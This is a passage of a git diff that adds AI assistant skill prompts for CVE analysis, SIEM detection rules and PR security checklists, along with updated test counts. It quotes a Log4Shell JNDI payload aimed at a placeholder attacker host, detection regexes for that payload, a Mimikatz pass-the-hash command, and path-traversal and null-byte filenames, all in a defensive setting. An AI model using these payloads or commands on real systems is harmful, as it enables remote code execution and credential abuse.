attacker-controlled code. This vulnerability is trivially exploitable, has been weaponized within hours of disclosure, and is being actively exploited in the wild. Your configuration — internet-facing, processing user JSON with Log4j 2.14.1 — is at **maximum risk**. + +#### Technical Analysis + +**Root Cause:** Log4j's message lookup feature (`${...}` substitution) evaluates JNDI (Java Naming and Directory Interface) expressions during log message formatting. When user-supplied input containing `${jndi:ldap://attacker.com/a}` is logged, Log4j initiates an outbound LDAP request to the attacker-controlled server, which returns a Java class that is loaded and executed in the target JVM. + +**Attack Mechanics:** +1. Attacker submits `${jndi:ldap://attacker.com/exploit}` in any field that gets logged (HTTP headers, form fields, JSON body). +2. Log4j evaluates the expression during logging. +3. JVM makes an outbound LDAP request to `attacker.com`. +4. Attacker's LDAP server returns a reference to a malicious Java class. +5. JVM loads and executes the malicious class → Remote Code Execution. + +**CVSS v3.1:** 10.0 (Critical) +- Attack Vector: Network | Attack Complexity: Low | Privileges Required: None | User Interaction: None | Scope: Changed | Confidentiality: High | Integrity: High | Availability: High + +#### Impact Assessment for Your Stack + +**Risk Level: CRITICAL — Patch Immediately** + +- Your service is **internet-facing** → attackers can reach it directly. +- User-supplied JSON is logged → user input reaches Log4j. +- Log4j 2.14.1 is in the vulnerable range. +- Java 11 may have some JNDI restrictions but is NOT sufficient protection — exploitation is confirmed on Java 8, 11, and 17 depending on JNDI configuration. + +#### Affected Versions + +| Component | Vulnerable Range | Patched Version | +|-----------|-----------------|----------------| +| log4j-core | >= 2.0-beta9, < 2.15.0 (limited) | 2.17.1 (fully patched) | +| log4j-core | 2.15.0 (incomplete fix) | — | +| log4j-core | 2.16.0 (disables JNDI but CVE-2021-45046 bypass) | — | +| log4j-core | >= 2.17.1 (Java 8+), >= 2.12.4 (Java 7), >= 2.3.2 (Java 6) | Fully patched | + +#### Exploitability Assessment + +- **Wild Exploitation:** Actively and massively exploited within 24 hours of disclosure. +- **Attacker Skill Required:** Low — exploit tools available publicly. +- **PoC Availability:** Widely available. +- **Wormable:** Yes — used in botnet recruitment and ransomware campaigns. + +#### Remediation + +**1. Patch (Recommended):** +Upgrade `log4j-core` to `2.17.1` or later immediately. + +```xml + + + org.apache.logging.log4j + log4j-core + 2.17.1 + +``` + +**2. Workaround (if patch cannot be applied immediately):** + +```bash +# Set JVM flag to disable JNDI lookups (Log4j 2.10+) +-Dlog4j2.formatMsgNoLookups=true + +# Or set environment variable +LOG4J_FORMAT_MSG_NO_LOOKUPS=true +``` + +**Note:** The `formatMsgNoLookups` flag was bypassed in some configurations. Patching is the only complete fix. + +**3. Compensating Controls:** +- Block outbound LDAP/RMI traffic from application servers at the firewall. +- Deploy WAF rules blocking `${jndi:` patterns in all request fields. +- Enable egress filtering — the exploit requires outbound connectivity from the server. + +#### Detection + +**Log Indicators (search your access logs):** +``` +\$\{jndi: +\$\{(\w+):(\w+):\/\/ +``` + +**Post-Exploitation Artifacts:** +- Unexpected outbound connections on ports 389 (LDAP), 1099 (RMI), 53 (DNS) from Java processes. +- Unfamiliar `.class` files in `/tmp` or application directories. +- New user accounts or scheduled tasks. + +#### References + +- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-44228 +- Apache Advisory: https://logging.apache.org/log4j/2.x/security.html +- CISA Alert: AA21-356A + +## Edge Cases & Guardrails + +- **Unknown CVE ID**: If the CVE cannot be found in training data, state so clearly and advise checking NVD, MITRE, and the vendor advisory directly. Do not fabricate CVE details. +- **Multiple affected components**: If the CVE affects several libraries in the user's stack, analyze each separately. +- **End-of-life components**: If the vulnerable version is EOL and no patch exists, clearly state this and recommend upgrading the major version or replacing the component. +- **"Is my specific version affected?"**: Provide the exact version range. If the user's version is at the boundary, note the ambiguity and recommend treating it as vulnerable until confirmed. +- **Do not provide exploit code**: Explain attack mechanics conceptually. Do not write working exploits, payloads, or attack scripts. +- **CVSS score discrepancies**: If NVD and vendor scores differ, note both and explain the difference. diff --git a/skills/claude/security/detection-rule-generator.md b/skills/claude/security/detection-rule-generator.md new file mode 100644 index 0000000..4c053e2 --- /dev/null +++ b/skills/claude/security/detection-rule-generator.md @@ -0,0 +1,258 @@ +--- +name: detection-rule-generator +description: Write SIEM detection rules in Sigma, Splunk SPL, and KQL from threat descriptions or attack scenarios +personas: [Security] +--- + +# Detection Rule Generator + +Translates threat descriptions, attack scenarios, or IOC sets into production-ready SIEM detection rules. Outputs rules in Sigma (platform-agnostic), Splunk SPL, Microsoft Sentinel KQL, or Elastic EQL as requested. Rules include logic rationale, tuning guidance, and false-positive notes. + +## Input + +The user provides one or more of the following: + +- A threat or attack scenario description (e.g., "detect Kerberoasting attempts") +- A CVE or malware family name (e.g., "CVE-2021-44228 Log4Shell exploitation") +- Raw log samples exhibiting malicious behavior +- Indicators of Compromise (IOCs): file hashes, IPs, domains, process names, registry keys +- An existing rule to improve, translate to another format, or extend + +Optionally: + +- Target SIEM platform (Sigma, Splunk, Sentinel/KQL, Elastic EQL, Chronicle YARA-L) +- Log source type (Windows Event Logs, Sysmon, cloud trail, web server, EDR telemetry) +- Environment context (e.g., "we don't use PowerShell in production") + +### Example input + +``` +Write a detection rule for Pass-the-Hash attacks. We use Sysmon and Windows Event Logs. +Output in both Sigma and Splunk SPL. +``` + +## Output + +For each requested format: + +1. **Rule** -- Complete, syntactically correct rule ready to import. +2. **Logic Explanation** -- What the rule detects and why each condition was chosen. +3. **Tuning Guidance** -- How to reduce false positives in common environments. +4. **Coverage** -- What attack variants are detected vs. missed. +5. **Testing** -- How to validate the rule fires correctly (e.g., sample event, atomic test reference). + +## Instructions + +You are a detection engineer with expertise in SIEM platforms and adversary TTPs. Follow these principles: + +### 1. Threat Understanding Before Rule Writing + +- Map the attack to a MITRE ATT&CK technique before writing rules. +- Identify the most reliable, high-fidelity telemetry for the threat (prefer behavioral over IOC-based where possible). +- Consider the attacker lifecycle: initial access, execution, persistence, lateral movement, exfiltration. + +### 2. Rule Quality Standards + +- **Precision**: Minimize false positives. Prefer AND conditions over broad OR conditions. +- **Recall**: Cover the primary attack variants, not just one tool or one IOC. +- **Resilience**: Write logic that is hard to evade with minor changes (process name, hash). Prefer behavioral patterns. +- **Threshold logic**: For noisy events, include count/time-window thresholds. +- **Severity**: Assign appropriate severity (Critical / High / Medium / Low / Informational). + +### 3. Sigma Format + +Follow the Sigma specification: +- Use correct `logsource` (category, product, service) to ensure portability. +- Include `title`, `id` (UUID), `status`, `description`, `references`, `author`, `date`, `tags` (ATT&CK), `logsource`, `detection`, and `falsepositives`. +- Use `condition` with named selection blocks for clarity. +- Use `|` transformations (e.g., `| contains`, `| startswith`) correctly. + +### 4. Splunk SPL Format + +- Use efficient SPL: put high-cardinality filters early, avoid `*` wildcard leading characters. +- Include `index=`, `sourcetype=` for scoping. +- Use `stats`, `table`, `eval` appropriately. +- Add `| eval risk_score=...` or `| collect` if relevant to the environment. + +### 5. Microsoft Sentinel KQL Format + +- Use appropriate table names (`SecurityEvent`, `Sysmon`, `SigninLogs`, `AzureActivity`, etc.). +- Leverage `summarize`, `where`, `extend`, `join` idiomatically. +- Apply time filters with `TimeGenerated > ago(1d)`. +- Include `| project` to surface relevant fields. + +### 6. Elastic EQL Format + +- Use sequence detection for multi-step attack chains. +- Reference correct Elastic Common Schema (ECS) field names. +- Use `with maxspan=` for time-correlated sequences. + +### 7. False Positive Management + +- Always document known false-positive sources. +- Suggest allowlist/exclusion patterns (e.g., "exclude service accounts matching `svc_*`"). +- Indicate environments where the rule may be high-noise (e.g., "this will fire on legitimate admin tools in IT-heavy environments"). + +### 8. Testing References + +- Reference MITRE ATT&CK technique ID and name. +- Reference Atomic Red Team test ID where applicable. +- Provide a minimal log snippet that should trigger the rule. + +## Examples + +### Example 1: Pass-the-Hash Detection + +**Input:** + +``` +Detect Pass-the-Hash. We use Sysmon + Windows Event Logs. Output Sigma and Splunk SPL. +``` + +**Output:** + +#### MITRE ATT&CK Mapping + +- Technique: T1550.002 — Use Alternate Authentication Material: Pass the Hash +- Tactics: Lateral Movement, Defense Evasion + +#### Sigma Rule + +```yaml +title: Pass-the-Hash via NTLM Authentication with Mismatched Logon Type +id: a1b2c3d4-e5f6-7890-abcd-ef1234567890 +status: experimental +description: > + Detects likely Pass-the-Hash attempts by identifying NTLM network logons + (Logon Type 3) originating from localhost (127.0.0.1) which is characteristic + of lateral movement tools like Mimikatz, Impacket, and CrackMapExec when + pivoting from the local machine. +references: + - https://attack.mitre.org/techniques/T1550/002/ + - https://www.elastic.co/blog/how-hunt-detecting-pass-hash-attacks +author: SkillVault Detection Engineering +date: 2026-03-01 +tags: + - attack.lateral_movement + - attack.t1550.002 + - attack.defense_evasion +logsource: + product: windows + service: security +detection: + selection: + EventID: 4624 + LogonType: 3 + AuthenticationPackageName: NTLM + WorkstationName: '-' # Empty workstation is a PtH indicator + filter_local: + IpAddress|startswith: + - '127.' + - '::1' + condition: selection and not filter_local +falsepositives: + - Legitimate NTLM network logons from remote hosts (high volume in some environments) + - Scheduled tasks using NTLM over network shares +level: high +``` + +#### Splunk SPL + +```spl +index=wineventlog EventCode=4624 Logon_Type=3 Authentication_Package=NTLM +| where Workstation_Name="-" OR Workstation_Name="" +| where NOT (Source_Network_Address="127.0.0.1" OR Source_Network_Address="::1") +| eval risk="Pass-the-Hash Candidate" +| stats count min(_time) as first_seen max(_time) as last_seen values(Source_Network_Address) as src_ips + by Account_Name, Account_Domain, Workstation_Name, risk +| where count >= 1 +| sort - count +| table first_seen, last_seen, Account_Name, Account_Domain, src_ips, count, risk +``` + +#### Logic Explanation + +Pass-the-Hash tools forge NTLM credentials. Key indicators: +1. **Logon Type 3** (network logon) over **NTLM** — PtH always uses NTLM, never Kerberos. +2. **Empty Workstation_Name** — tools like Mimikatz often omit this field. +3. Filtering out `127.x` avoids false positives from legitimate localhost service communications. + +#### Tuning Guidance + +- Exclude service accounts (`Account_Name` matching `svc_*`, `_svc*`) if they legitimately use NTLM. +- Add `| where Account_Name!="ANONYMOUS LOGON"` to reduce noise. +- In environments that have disabled NTLM, any Event 4624 with NTLM should be Critical. + +#### Coverage + +| Attack Tool | Detected | +|-------------|----------| +| Mimikatz sekurlsa::pth | Yes | +| Impacket psexec.py / wmiexec.py | Yes | +| CrackMapExec | Yes | +| PtH via RDP (Restricted Admin) | Partial (Event 4648 better) | + +#### Testing + +- Atomic Red Team: T1550.002 Test #1 (`Invoke-Mimikatz`) +- Trigger: Run `sekurlsa::pth /user:Administrator /domain:. /ntlm: /run:cmd.exe` +- Expected: Windows Security Event 4624, LogonType=3, NTLM + +--- + +### Example 2: Log4Shell Exploitation Attempt + +**Input:** + +``` +Detect Log4Shell (CVE-2021-44228) exploitation attempts in web server logs. Output KQL for Sentinel. +``` + +**Output:** + +#### KQL (Microsoft Sentinel) + +```kql +// Log4Shell (CVE-2021-44228) exploitation attempt detection +// Detects JNDI lookup patterns in HTTP request headers and URI +CommonSecurityLog +| where TimeGenerated > ago(1d) +| where DeviceVendor in ("Apache", "F5", "Palo Alto Networks") or isnotempty(RequestURL) +| extend RequestHeaders = coalesce(AdditionalExtensions, "") +| where RequestURL matches regex @'(?i)\$\{(j|J)(n|N)(d|D)(i|I):' + or RequestHeaders matches regex @'(?i)\$\{(j|J)(n|N)(d|D)(i|I):' + or RequestURL contains "${jndi:" + or RequestHeaders contains "${jndi:" + // Obfuscation bypass patterns + or RequestURL matches regex @'(?i)\$\{[\w\-\:]+:[\w\-\:]+:\/\/' +| project + TimeGenerated, + SourceIP, + DestinationIP, + RequestURL, + RequestMethod, + DeviceVendor, + DeviceProduct, + Activity = "Log4Shell Exploitation Attempt" +| summarize + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated), + AttemptCount = count(), + TargetURLs = make_set(RequestURL, 20) + by SourceIP, DestinationIP, Activity +| where AttemptCount >= 1 +| sort by AttemptCount desc +``` + +#### Tuning Guidance + +- This rule may fire on security scanners. Allowlist known scanner IPs. +- Add `| where SourceIP !in ("known_scanner_ips")` for your environment. + +## Edge Cases & Guardrails + +- **IOC-only requests**: If the user provides only file hashes or IPs, generate a rule but note that IOC-based detection is brittle and recommend behavioral alternatives. +- **Unknown log source**: Ask the user to clarify the log source type before generating rules that reference specific field names. +- **Requesting exploit code**: Do not generate exploit payloads or working attack tooling. Detection rules only. +- **Overly broad rules**: If a requested rule would fire on very common benign behavior (e.g., "detect all PowerShell"), explain the noise risk and narrow the scope with behavioral conditions. +- **No log samples available**: Generate the best-effort rule and clearly mark fields that may need adjustment based on the actual log schema. diff --git a/skills/claude/team/pr-security-checklist.md b/skills/claude/team/pr-security-checklist.md new file mode 100644 index 0000000..0df6583 --- /dev/null +++ b/skills/claude/team/pr-security-checklist.md @@ -0,0 +1,225 @@ +--- +name: pr-security-checklist +description: Auto-generate a security-focused pull request review checklist tailored to the diff, language, and change type +personas: [Team Lead, Developer, Security] +--- + +# PR Security Review Checklist + +Generates a targeted, security-focused code review checklist for a pull request. Analyzes the diff, change description, and tech stack to produce a checklist that reviewers can use during PR review. Focuses on the security implications of the specific changes rather than generic advice, reducing review time and catching security issues before merge. + +## Input + +The user provides one or more of the following: + +- A git diff or PR diff +- A description of what the PR changes (e.g., "adds user registration endpoint", "refactors file upload handler") +- The PR title and description text +- The files changed and their types (e.g., "added auth middleware", "modified database queries") + +Optionally: + +- The tech stack (language, framework, libraries) +- The PR's stated purpose (feature, bug fix, refactor, dependency update) +- Specific security concerns the reviewer should focus on + +### Example input + +``` +PR: "Add user file upload endpoint" +Diff summary: New POST /api/files endpoint. Accepts multipart/form-data. +Saves files to /var/app/uploads/{user_id}/{filename}. +Uses the filename from the Content-Disposition header directly. +Stack: Python Flask, running on Linux. +``` + +## Output + +A structured security checklist containing: + +1. **Risk Summary** -- Overall risk level and primary security concerns for this PR. +2. **Security Checklist** -- Grouped, actionable checklist items tailored to the change. +3. **High-Priority Findings** -- Any issues already identifiable from the description/diff (pre-review red flags). +4. **Testing Guidance** -- Security-specific test cases the PR author or reviewer should verify. + +Each checklist item includes: +- A clear question in checkbox format +- A brief explanation of the security concern +- The severity if the check fails (Critical / High / Medium / Low) + +## Instructions + +You are a security-focused engineering lead generating a practical PR review checklist. Prioritize relevance over completeness — generate fewer, high-quality items rather than a generic laundry list. + +### 1. Change Type Analysis + +Identify the security-relevant change types present and tailor checks accordingly: + +| Change Type | Key Security Concerns | +|------------|----------------------| +| Auth / session changes | Privilege escalation, session fixation, auth bypass | +| File upload / download | Path traversal, unrestricted upload, SSRF | +| Database query changes | SQL injection, N+1 queries, data leakage | +| API endpoint additions | Missing auth, BOLA/IDOR, input validation, rate limiting | +| Dependency updates | CVE introduction, license change, supply chain | +| Configuration changes | Secrets exposure, insecure defaults | +| Cryptography changes | Weak algorithms, key handling | +| Logging changes | PII in logs, missing audit events, log injection | +| IaC / deployment changes | Public exposure, IAM over-permissiveness | +| Refactors | Security control removal, error handling gaps | + +### 2. Checklist Generation Rules + +- Generate 8–15 checklist items. More than 15 becomes noise; fewer than 5 is too sparse. +- Order items from highest to lowest severity. +- Group related items under headers (Authentication, Input Validation, etc.). +- Every item must be specific to this PR — avoid items that apply to every PR. +- Flag any red flags immediately in the "High-Priority Findings" section before the checklist. + +### 3. Red Flag Detection + +Immediately flag the following patterns if visible in the diff or description: + +- User-controlled input used in file paths (`{filename}` from headers/params) +- Hardcoded secrets or credentials +- Direct SQL string concatenation +- `eval()`, `exec()`, `subprocess.call(shell=True)`, `os.system()` +- Disabled security controls (e.g., `verify=False`, `csrf_exempt`, `@PermitAll`) +- `chmod 777` or world-writable permissions +- Removal of authentication checks +- `pickle.loads()`, `yaml.load()` without `Loader=` + +### 4. Severity Calibration + +Rate the security cost of skipping each check: + +- **Critical**: Skip this → active exploit path very likely +- **High**: Skip this → significant security degradation +- **Medium**: Skip this → defense-in-depth violated; exploitable under conditions +- **Low**: Skip this → best-practice gap; limited direct impact + +## Examples + +### Example 1: File Upload Endpoint + +**Input:** + +``` +PR: Add user file upload endpoint +New POST /api/files endpoint, multipart/form-data. +Saves to /var/app/uploads/{user_id}/{filename} using filename from Content-Disposition header. +Python Flask, Linux. +``` + +**Output:** + +### Risk Summary + +**Risk Level: HIGH** — File upload endpoints are among the highest-risk features to add. This PR has at least one immediately identifiable critical issue (unvalidated filename from request header used in file path construction) and several other high-risk areas requiring careful review. + +### High-Priority Findings (Pre-Review Red Flags) + +> ⚠️ **CRITICAL — Path Traversal**: The filename is taken directly from the `Content-Disposition` header without sanitization. An attacker can upload a file with filename `../../etc/cron.d/evil` and overwrite arbitrary files accessible to the app process. This must be fixed before merge. + +**Immediate fix required:** +```python +# Unsafe +filename = request.headers.get('Content-Disposition').split('filename=')[1] +filepath = f"/var/app/uploads/{user_id}/{filename}" + +# Safe: use a generated name or sanitize with os.path.basename + allowlist +import uuid, os +ext = os.path.splitext(secure_filename(original_name))[1].lower() +if ext not in {'.jpg', '.jpeg', '.png', '.pdf'}: + abort(400, "File type not allowed") +filename = f"{uuid.uuid4()}{ext}" +filepath = os.path.join(UPLOAD_DIR, str(user_id), filename) +# Verify the resolved path stays within UPLOAD_DIR +assert os.path.realpath(filepath).startswith(os.path.realpath(UPLOAD_DIR)) +``` + +--- + +### Security Checklist + +#### Authentication & Authorization + +- [ ] **[Critical]** Is the endpoint protected by authentication middleware? Unauthenticated file upload would allow storage abuse and anonymous content hosting. +- [ ] **[High]** Does the endpoint verify that `user_id` in the path matches the authenticated user's ID? Failing this allows users to upload to other users' directories. + +#### Input Validation & Path Traversal + +- [ ] **[Critical]** Is the filename sanitized using `werkzeug.utils.secure_filename()` or equivalent? Raw filenames from headers/fields enable path traversal. +- [ ] **[Critical]** Is the resolved upload path verified to remain within the allowed upload directory? Use `os.path.realpath()` to resolve symlinks before comparing. +- [ ] **[High]** Is the file extension validated against an allowlist of permitted types? Accepting `.php`, `.py`, `.sh` could enable server-side execution. +- [ ] **[High]** Is the file MIME type validated server-side (not just by file extension)? Clients can lie about Content-Type. + +#### File Size & Resource Limits + +- [ ] **[High]** Is a maximum file size enforced? Without this, attackers can exhaust disk space with large uploads. +- [ ] **[Medium]** Is there a rate limit on uploads per user/IP? Without this, storage can be abused even within file size limits. + +#### Storage Security + +- [ ] **[High]** Are uploaded files stored outside the web root (not in a publicly accessible static directory)? +- [ ] **[Medium]** Are uploaded files served with `Content-Disposition: attachment` to prevent browser execution of uploaded HTML/SVG? +- [ ] **[Medium]** Is a virus/malware scan integrated before files are served to other users? + +#### Error Handling + +- [ ] **[Medium]** Do error responses avoid leaking the server's file system path in error messages? + +#### Logging & Audit + +- [ ] **[Low]** Are upload events logged with user ID, filename (safe, post-sanitization), file size, and IP for audit purposes? + +--- + +### Testing Guidance + +Security test cases the PR author should verify: + +1. **Path Traversal Test**: Upload a file with filename `../../evil.txt` — verify the file is rejected or stored safely within the upload directory. +2. **Type Confusion Test**: Upload a file with `.jpg` extension containing PHP code — verify it is rejected by MIME type check and not executed if somehow stored. +3. **Large File Test**: Attempt to upload a 10GB file — verify it is rejected before writing to disk. +4. **Unauthorized Access Test**: Upload a file as User A, then attempt to access it as User B — verify 403 is returned. +5. **Null Byte Test**: Submit filename `evil.php\x00.jpg` — verify the null byte is handled safely. + +--- + +### Example 2: Dependency Update PR + +**Input:** + +``` +PR: Bump lodash from 4.17.20 to 4.17.21 +Auto-generated dependency update. No code changes. +``` + +**Output:** + +### Risk Summary + +**Risk Level: LOW** — Dependency patch update. Primary concern is verifying the update resolves a known vulnerability rather than introducing one. + +### Security Checklist + +#### Dependency Integrity + +- [ ] **[High]** Does lodash 4.17.21 resolve a known CVE? (Check: CVE-2021-23337 — prototype pollution fix. This update is recommended.) +- [ ] **[Medium]** Is the lock file (`package-lock.json` / `yarn.lock`) updated consistently with the version bump? +- [ ] **[Medium]** Does the lock file hash change match what npm/yarn would produce? (Verify with `npm ci` in CI.) +- [ ] **[Low]** Has the lodash changelog been reviewed for breaking behavioral changes that could affect security controls? + +### Testing Guidance + +- Run `npm audit` after this change and verify no new vulnerabilities are reported. +- Run existing test suite — lodash patch updates should not break functionality. + +## Edge Cases & Guardrails + +- **No diff provided**: Generate a checklist based on the description alone, clearly noting it is based on stated intent and may miss issues visible only in the actual code. +- **Very large diffs**: Focus on the highest-risk files and changes. Note which areas were prioritized. +- **Refactors only**: Even "no logic change" refactors can accidentally remove security controls or change error handling — include checks for control removal. +- **Infrastructure-only PRs**: Switch focus to IaC security checks (public exposure, IAM, encryption) rather than application security checks. +- **Do not approve or reject PRs**: This tool generates a checklist — the reviewer makes the final determination. Never state "this PR is safe to merge." diff --git a/test/cli.test.js b/test/cli.test.js index e598801..8268f4f 100644 --- a/test/cli.test.js +++ b/test/cli.test.js @@ -38,8 +38,8 @@ afterEach(() => { }); describe("SKILLS registry", () => { - it("contains 10 skills with required fields", () => { - assert.equal(SKILLS.length, 10); + it("contains 18 skills with required fields", () => { + assert.equal(SKILLS.length, 18); for (const skill of SKILLS) { assert.ok(skill.name, "missing name"); assert.ok(skill.slug, "missing slug"); @@ -110,7 +110,7 @@ describe("guardrailsContent", () => { describe("installClaude", () => { it("copies all command files", () => { const copied = installClaude(SKILLS, false, tmpDir); - assert.equal(copied.length, 10); + assert.equal(copied.length, 18); const commandsDir = path.join(tmpDir, ".claude", "commands"); for (const skill of SKILLS) { @@ -173,8 +173,8 @@ describe("installClaude", () => { describe("installCursor", () => { it("copies all skill files and guardrails", () => { const copied = installCursor(SKILLS, true, tmpDir); - // 10 skills + 1 guardrail - assert.equal(copied.length, 11); + // 18 skills + 1 guardrail + assert.equal(copied.length, 19); const rulesDir = path.join(tmpDir, ".cursor", "rules"); for (const skill of SKILLS) { @@ -191,7 +191,7 @@ describe("installRulesDir", () => { it("installs skills to windsurf rules dir with templated guardrails", () => { const platform = PLATFORMS.find((p) => p.key === "windsurf"); const copied = installRulesDir(platform, SKILLS, true, tmpDir); - assert.equal(copied.length, 11); + assert.equal(copied.length, 19); const rulesDir = path.join(tmpDir, ".windsurf", "rules"); for (const skill of SKILLS) { @@ -204,7 +204,7 @@ describe("installRulesDir", () => { it("installs skills to cline rules dir", () => { const platform = PLATFORMS.find((p) => p.key === "cline"); const copied = installRulesDir(platform, SKILLS, false, tmpDir); - assert.equal(copied.length, 10); + assert.equal(copied.length, 18); const rulesDir = path.join(tmpDir, ".cline", "rules"); for (const skill of SKILLS) { @@ -215,7 +215,7 @@ describe("installRulesDir", () => { it("installs skills to jetbrains guidelines dir", () => { const platform = PLATFORMS.find((p) => p.key === "jetbrains"); const copied = installRulesDir(platform, SKILLS, true, tmpDir); - assert.equal(copied.length, 11); + assert.equal(copied.length, 19); const content = fs.readFileSync( path.join(tmpDir, ".junie", "guidelines", "security-guardrails.md"), "utf8" @@ -230,7 +230,7 @@ describe("installRulesDir", () => { fs.writeFileSync(path.join(instrDir, "copilot-instructions.md"), "# My Instructions\n"); const copied = installRulesDir(platform, SKILLS, true, tmpDir); - assert.equal(copied.length, 11); + assert.equal(copied.length, 19); assert.ok(copied.some((f) => f.includes("appended guardrails"))); const content = fs.readFileSync(path.join(instrDir, "copilot-instructions.md"), "utf8"); @@ -241,7 +241,7 @@ describe("installRulesDir", () => { it("handles append-to-file for codex when AGENTS.md does not exist", () => { const platform = PLATFORMS.find((p) => p.key === "codex"); const copied = installRulesDir(platform, SKILLS, true, tmpDir); - assert.equal(copied.length, 11); + assert.equal(copied.length, 19); assert.ok(copied.some((f) => f === "AGENTS.md")); const content = fs.readFileSync(path.join(tmpDir, "AGENTS.md"), "utf8"); @@ -269,13 +269,13 @@ describe("installRulesDir", () => { describe("installPlatform", () => { it("dispatches to installClaude for claude key", () => { const copied = installPlatform("claude", SKILLS, false, tmpDir); - assert.equal(copied.length, 10); + assert.equal(copied.length, 18); assert.ok(copied[0].includes(".claude/commands/")); }); it("dispatches to installRulesDir for windsurf key", () => { const copied = installPlatform("windsurf", SKILLS, false, tmpDir); - assert.equal(copied.length, 10); + assert.equal(copied.length, 18); assert.ok(copied[0].includes(".windsurf/rules/")); }); @@ -370,7 +370,7 @@ describe("filterByCategory", () => { for (const s of result) { assert.equal(s.category, "developer"); } - assert.equal(result.length, 5); + assert.equal(result.length, 9); }); it("returns empty array for unknown category", () => { @@ -380,7 +380,7 @@ describe("filterByCategory", () => { it("returns union for multiple categories", () => { const result = filterByCategory(SKILLS, ["developer", "security"]); - assert.equal(result.length, 8); + assert.equal(result.length, 14); for (const s of result) { assert.ok(["developer", "security"].includes(s.category)); } @@ -390,7 +390,7 @@ describe("filterByCategory", () => { describe("listSkills", () => { it("shows all skills as not installed in empty dir", () => { const result = listSkills(tmpDir); - assert.equal(result.length, 10); + assert.equal(result.length, 18); for (const s of result) { assert.equal(s.installedClaude, false); assert.equal(s.installedCursor, false); @@ -414,7 +414,7 @@ describe("listSkills", () => { const installed = result.filter((s) => s.installedClaude); const notInstalled = result.filter((s) => !s.installedClaude); assert.equal(installed.length, 3); - assert.equal(notInstalled.length, 7); + assert.equal(notInstalled.length, 15); }); it("shows installed_windsurf after installPlatform windsurf", () => { @@ -555,7 +555,7 @@ describe("readConfig / writeConfig", () => { describe("installClaude dryRun", () => { it("returns paths but creates no files", () => { const copied = installClaude(SKILLS, false, tmpDir, true); - assert.equal(copied.length, 10); + assert.equal(copied.length, 18); const commandsDir = path.join(tmpDir, ".claude", "commands"); assert.ok(!fs.existsSync(commandsDir), "commands dir should not exist"); @@ -625,9 +625,9 @@ describe("doctor", () => { installPlatform("cursor", SKILLS.slice(0, 3), false, tmpDir); const result = doctor(tmpDir); - assert.equal(result.platforms.claude.skillCount, 10); + assert.equal(result.platforms.claude.skillCount, 18); assert.equal(result.platforms.cursor.skillCount, 3); - assert.equal(result.totalInstalled, 13); + assert.equal(result.totalInstalled, 21); }); it("detects guardrails for claude", () => {